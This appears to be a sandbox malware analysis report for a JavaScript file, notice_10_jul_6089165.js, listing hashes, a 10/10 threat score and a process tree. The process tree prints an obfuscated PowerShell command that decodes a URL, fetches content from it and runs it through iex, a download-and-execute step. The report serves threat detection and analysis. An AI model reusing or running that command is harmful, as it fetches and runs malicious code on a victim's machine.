Overview

overview

10

Static

static

1

notice_10_...165.js

windows7-x64

10

notice_10_...165.js

windows10-1703-x64

10

notice_10_...165.js

windows10-2004-x64

10

Analysis

  • max time kernel
    315s
  • max time network
    868s
  • platform
    windows10-1703_x64
  • resource
    win10-20230703-en
  • resource tags

    arch:x64arch:x86image:win10-20230703-enlocale:en-usos:windows10-1703-x64system
  • submitted
    10-07-2023 22:46

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    notice_10_jul_6089165.js

  • Size

    569KB

  • MD5

    3cef1fc6fdf24a5ac6f33a14a3ca4a2a

  • SHA1

    2c382a1c26fa900d15b6d5662625e1e37ede4bbe

  • SHA256

    5b1e6b2d74deac9ace099e89665cd5cfd5dff00853b5fd5c804da446f7f08806

  • SHA512

    07c8666481a437a93a8acf5fdde3f888eebece959f38571626fdb6443ada2ca60fa16cd6d3451928f2f85e371da884a597d8b331ac713ec0019f2719b94970f1

  • SSDEEP

    6144:QHzK0RtrbbYimEpu0kd5dmrb9eQGuS64zNUGWZY+7aiPEa2U4:Ak

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\notice_10_jul_6089165.js
    1⤵
      PID:3752
    • C:\Windows\system32\conhost.exe
      conhost --headless powershell @(1121,1138,1119,1133,1139,1067,1137,1132,1133,1068,1070,1067,1133,1125,1133,1084,1125,1118,1136,1125,1082)|foreach{$pnvemzygojkq=$pnvemzygojkq+[char]($_-1021);$ijdanpuhmgto=$pnvemzygojkq};$nmuvky='l'; new-alias tixxs cur$nmuvky;$afswe=('sduzu',$ijdanpuhmgto);.$([char](8892-8787)+'ex')(tixxs -useb "$afswe[1]")
      1⤵
      • Process spawned unexpected child process
      PID:1472

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

    Loading Replay Monitor...

    Downloads